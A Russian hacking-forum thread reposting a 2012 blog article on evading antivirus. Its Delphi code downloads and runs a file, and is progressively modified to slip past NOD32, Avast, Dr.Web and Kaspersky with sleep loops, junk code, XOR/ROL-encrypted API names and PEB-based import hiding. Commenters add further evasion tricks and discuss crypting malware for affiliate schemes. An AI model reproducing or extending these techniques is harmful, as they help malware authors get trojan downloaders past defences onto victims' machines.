Новости из Блогов Глумление над АВ

Discussion in 'Мировые новости. Обсуждения.' started by d3l3t3, 24 Aug 2012.

  1. d3l3t3

    d3l3t3 Banned

    Joined:
    3 Dec 2010
    Messages:
    1,771
    Likes Received:
    98
    Reputations:
    10
    Сегодня хотелось бы немного уделить внимание антивирусной защите как таковой.

    Мы проведем несколько простых опытов с помощью программирования и посмотрим на «крутость» антивирусных систем.

    Значит берем «фантастическую четверку» : нод,касперский,др.вэб и аваст.

    Извращаться будем уже как всегда с известным кодом: скачивание+запуск файла.

    Я буду использовать частный сервис проверки которые не отсылает копии АВ компаниям.(акк мне дал один добрый человечек на ачате)

    Начнем.

    Сразу же напишем код и закинем его на проверку.

    Code:
     program Project2;
     uses
       windows,urlmon,shellapi;
    
     begin
    
     URLDownloadToFile(nil,'http://yandex.ru','C:\file.html',0,nil);
     shellexecute(0,'open','C:\file.html',0,0,SW_SHOW);
    
     end.
    Смотрим что получается:
    http://4put.ru/pictures/max/389/1195254.jpg

    не знаю почему, но аваст тупо отморозился, что уже как бы «намекает».Остальные справились безукоризненно.

    Дальше мы начнем немного «разбавлять» код.

    Дополним его небольшим циклом

    Code:
     program Project2;
     uses
       windows,urlmon,shellapi;
     var i:integer;
     begin
     for i:=1 to 10 do
     begin
     sleep(1000);
     GetTickCount;
     sleep(1000);
     GetModuleHandle(0);
     end;
    
     URLDownloadToFile(nil,'http://yandex.ru','C:\file.html',0,nil);
     shellexecute(0,'open','C:\file.html',0,0,SW_SHOW);
    
     end.
    Смотрим результаты:
    http://4put.ru/pictures/max/389/1195256.jpg

    Аваст-то же самое.
    Отечественный производитель справился с задачей,но посмотрите НОД не смог (не стал) эмулировать из-за задержек и пропустил троян!!!

    / небольшая справочка,чисто для прикола: если в цикле использовать не 10 ,а $989680 то и каспер отпадает(но не др.вэб) но т.к. это занимает СЛИШКОМ много времени,то я его не использую,но можно попробовать подставить меньше секунды слипы,проверьте если хотите,поиграйтесь\

    Идем дальше…
    Добавим в код сортировку массива методом пузырька:

    Code:
     program Project2;
     uses
       windows,urlmon,shellapi;
    
     var i,n,p:integer;
     a: array[1..100001] of integer;
     b:boolean;
    
     begin
     for i:=1 to 10 do
     begin
     sleep(1000);
     GetTickCount;
     sleep(1000);
     GetModuleHandle(0);
     end;
    
     begin
     randomize;
     for i:=1 to 100001 do
     a[i]:=random(512)+5;
      n:= Length(a);
      if n < 2 then exit;
      repeat
       b:= false;
       Dec(n);
       for i:= 0 to n-1 do
        if a[i] > a[i+1] then
         begin
          p:= a[i];
          a[i]:= a[i+1];
          a[i+1]:= p;
          b:= true;
         end;
      until b;
     end;
    
    
     URLDownloadToFile(nil,'http://yandex.ru','C:\file.html',0,nil);
     shellexecute(0,'open','C:\file.html',0,0,SW_SHOW);
    
     end.
    Смотрим что получается:
    http://4put.ru/pictures/max/389/1195258.jpg

    Отпал теперь и др.вэб
    пока отечественные продукты проявили себя лучше всех,и судя по этим 3 опытам касперский имеет довольно мощную эвристику.

    Следующая фишка меня можно сказать даже порадовала.Сделал я так:
    сперва зашифровал библиотеки и функции побитовым сдвигом влево (рол) и… О да это было прекрасно:



    Code:
     program Project2;
     uses
       windows,urlmon,shellapi,idglobal;
    
     var i,n,p:integer;
     a: array[1..100001] of integer;
     b:boolean;
     h:Thandle;
    
     DownLoad: function(p1:IUnknown;url:PAnsiChar;tofile: PAnsiChar;reserved:dword;lpfncb:pointer):HResult;stdcall;
     exec: function(p1:integer;p2:pchar;p3:pchar;p4,p5,p6:integer):integer;stdcall;
    
     function RORR(s:string):string;
     var x:integer;
     begin
     for x := 1 to length(s) do
     s[x] := char(ROR(byte(s[x]) ,1));
     result:=s;
     end;
    
     function XORR(s:string):string;
     var x:integer;
     begin
     for x := 1 to length(s) do
     s[x] := chr(ord(s[x]) xor $0E);
     result:=s;
     end;
    
     begin
     for i:=1 to 10 do
     begin
     sleep(1000);
     GetTickCount;
     sleep(1000);
     GetModuleHandle(0);
     end;
    
     begin
     randomize;
     for i:=1 to 100001 do
     a[i]:=random(512)+5;
      n:= Length(a);
      if n < 2 then exit;
      repeat
       b:= false;
       Dec(n);
       for i:= 0 to n-1 do
        if a[i] > a[i+1] then
         begin
          p:= a[i];
          a[i]:= a[i+1];
          a[i+1]:= p;
          b:= true;
         end;
      until b;
     end;
    
    
    
     h:=LoadLibrary(pchar(Rorr(Xorr('дкЦФРТRЖЦЦ'))));
     @DownLoad:=getprocaddress(h,pchar(rorr(xorr('¤Є–†РаТЦРМЖ¦Р‚ЬЦДЊ'))));
     DownLoad(nil,pchar('http://yandex.ru'),pchar('C:\file.html'),0,nil);
     freelibrary(h);
     h:=LoadLibrary(pchar(rorr(xorr('иЮДЦЦhjRЖЦЦ'))));
     @exec:=getprocaddress(h,pchar(rorr(xorr('ЁЮДЦЦ„юДИджДЊ'))));
     exec(0,'open','C:\file.html',0,0,SW_SHOW);
    
     end.
    http://4put.ru/pictures/max/389/1195260.jpg
    Результат (ёмаё!):

    поясню код в этом моменте немного:
    мы зашифровали rol-ом названия библиотек где содержатся эти функции и сами названия функций (не забываем,что мы их вызываем с дополнительной «А» (shellexecutea) ну и написал две функции.Принцип легок:
    обратная функция ксору-ксор, обратная функция ролу-рор, соответственно я сначала сдвигал биты ролом,а потом ксорил получившейся результат, при дешифрации соответственно обратный порядок-разксорили и потом рором сдвиг сделали. вот и все.прототипы «новых» функций смотрим в мсдн и копируем параметры.
    ============================================================================
    В общем то есть еще один метод который позволяет опустить наших «гигантов» АВ индустрии -это вызов без использования импорта.Я его тут полностью расписывать не стану.
    через ПЭБ получаем указатель на «главную» библиотеку:
    такой код:

    Code:
     asm
     mov  eax, dword ptr fs:[30h]
     mov  eax, dword ptr [eax+0ch]
     mov  eax, dword ptr [eax+1ch]
     mov eax,  [eax]
     mov  eax, dword ptr [eax+08h]
     mov p, eax
     end;
    в семерке получается указатель на kernelbase, хотя если я не ошибаюсь там есть все теже функции что и в kernel32. Так вот смысл в том что мы должны получить прототип LoadLibrary , а дальше думаю догадались- так же с помощью шифрованных функций и имен длл вызывать нужные функции. в итоге все наши крутые перцы нервно курят в стороночке. так же можно и с getprocadress сделать(даже немного и с seh поиграть).

    Итоги подведем:
    Др.вэб и касперский оказались «самыми нормальными», вообще у меня стоит др.вэб каспера не поставил ввиду того что похавать оперативу он любит,хотя думаю если кошерно настроить то будет очень даже ничего.
    Статья не рекламирует какой либо продукт и не усомняет вас в выборе какого либо АВ средства (хотя кому я вру-конечно же усомняет) это я к тому что бы крикуны которые восхваляют нод32 спеси то поубавили, ибо скорость работы еще не залог успеха,в чем мы собственно убедились.И так же мораль статьи-если против вас работает мудрый хакер,то все антивирусы идут далеко и надолго,лучшая защита-ваша голова (желательна дополнительная надстройка-моск). Но если выбирать для простенькой защиты на проно сайтах то я бы не взял нод или аваст.
    Вот собсно и все) спасибо за внимание.

    all rights reserved. DooD
    среда, 22 августа 2012 г.
    http://bydood.blogspot.com/
     
  2. DooD

    DooD Moderator

    Joined:
    30 Sep 2010
    Messages:
    1,173
    Likes Received:
    437
    Reputations:
    288
    в статьях на раздел выше оформлено под ачат )
     
    _________________________
  3. aka_maestro

    aka_maestro Фрикер

    Joined:
    11 Jan 2010
    Messages:
    392
    Likes Received:
    74
    Reputations:
    104
    вот как бы заставить касперского поделится ram?
    дайте информации.
    п.с.
    статья ничего такая
     
  4. DooD

    DooD Moderator

    Joined:
    30 Sep 2010
    Messages:
    1,173
    Likes Received:
    437
    Reputations:
    288
    там есть галка "уступать память другим программам" ее надо включить+надо выставить проверку только новых объектов,тогда система будет нормально работать.
    пс thnx ;)
     
    _________________________
  5. \/ITA

    \/ITA Member

    Joined:
    21 Sep 2011
    Messages:
    27
    Likes Received:
    28
    Reputations:
    8
    есть проще вариант, добавь кнопку на форму и вызывай загрузку файла по нажатию кнопки
    чтобы её нажать нужно эмулировать событие передав соответственное системное сообщение кнопке
    а саму форму можно захайдить и профит =)

    таким способом обходится почти любая эвристика
    еще спрятать импорты для пущей уверенности
     
    #5 \/ITA, 27 Aug 2012
    Last edited: 27 Aug 2012
  6. DooD

    DooD Moderator

    Joined:
    30 Sep 2010
    Messages:
    1,173
    Likes Received:
    437
    Reputations:
    288
    а если надо на апи делать?все тупик??)бэз кнопки не смогем.да и что то я не слышал про такой метод защиты.накатай код,а я проверю.
     
    _________________________
  7. alias6969

    alias6969 Member

    Joined:
    3 Apr 2011
    Messages:
    27
    Likes Received:
    11
    Reputations:
    6
    Без обид, но методы стары как мир. Парсинг peb очень давно описал Great (земля пухом), очень. Похожую статью видел у Kaimi\dx. А разбавление мусором, задержки, это азы крипта.
    Я в свое время писал криптор (не очень успешно), не смог обойти HEUR. Там ад какой-то: важно все - какой импорт, экспорт; названия, размеры, энтропии секций; стандартность заголовков, соотвествие импорта (типа вызова одной парной винапи без вызова другой, наличие мусорного импорта, который неиспользуется и т.п.). Самое забавное, что проактивка мне покорилась, а вот эвристика нет, упорства не хватило. (
    PS. Новый метод для антиэмуляции придумал этим летом широко известный в узких кругах Clerk, это вообще огонь. ;)
     
  8. DooD

    DooD Moderator

    Joined:
    30 Sep 2010
    Messages:
    1,173
    Likes Received:
    437
    Reputations:
    288
    не столь важно стары или нет,главное что работают.
    если эксплоит будет рабочим,но устаревшим,ты им не воспользуешься??
     
    _________________________
  9. alias6969

    alias6969 Member

    Joined:
    3 Apr 2011
    Messages:
    27
    Likes Received:
    11
    Reputations:
    6
    Воспользуюсь, но АВ приделают костыли и придется писать новый. Потом еще и еще. АВ все время добавляют эмуляцию новых винапи, и вырезание мусора. А если это партнерка, где нужно криптовать малварь два раза в день? То есть, я хочу сказать, что один раз привести код к виду, который нравится аверам, можно и не трудно, но если ты захочешь использовать все это для более сложных задач, то столкнешься с куда более сложными проблемами, которые такими методами уже не решатся.
     
  10. RexTiam

    RexTiam Member

    Joined:
    2 Nov 2009
    Messages:
    115
    Likes Received:
    45
    Reputations:
    5
    просьба проверить это на Norton почему-то стало интересно как будет реагировать он
     
  11. DooD

    DooD Moderator

    Joined:
    30 Sep 2010
    Messages:
    1,173
    Likes Received:
    437
    Reputations:
    288
    если акк продлят то проверю.там 3 дня осталось вроде или 2,времени нет пока проверить.
     
    _________________________
  12. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    942
    Likes Received:
    428
    Reputations:
    139
    который из них? он очень много чего описывал. точнее под каким аком он это описывал :D
     
  13. RexTiam

    RexTiam Member

    Joined:
    2 Nov 2009
    Messages:
    115
    Likes Received:
    45
    Reputations:
    5
    спасибо, буду очень признателен тебе.
     
  14. Bozz

    Bozz Banned

    Joined:
    2 Jul 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Где-то видел подобное, но не находил времени попробовать. Работает!
     
  15. FHT

    FHT Elder - Старейшина

    Joined:
    21 Sep 2005
    Messages:
    457
    Likes Received:
    212
    Reputations:
    168
    2 RexTiam
    Проверил.
    У меня Norton 360 не реагирует.
     
  16. Onths

    Onths New Member

    Joined:
    3 May 2012
    Messages:
    57
    Likes Received:
    2
    Reputations:
    -4
    Можно ссылку на сервис?
    Отчего-то мне показалось, что владелец его - BlackGeneral, ибо он такой проект начинал писать пару лет назад.

    А по сути - всегда считал антивирусы бесполезными.
    Живу с Фаерволом и виртуалками, париться не приходится.
     
    #16 Onths, 29 Aug 2012
    Last edited: 29 Aug 2012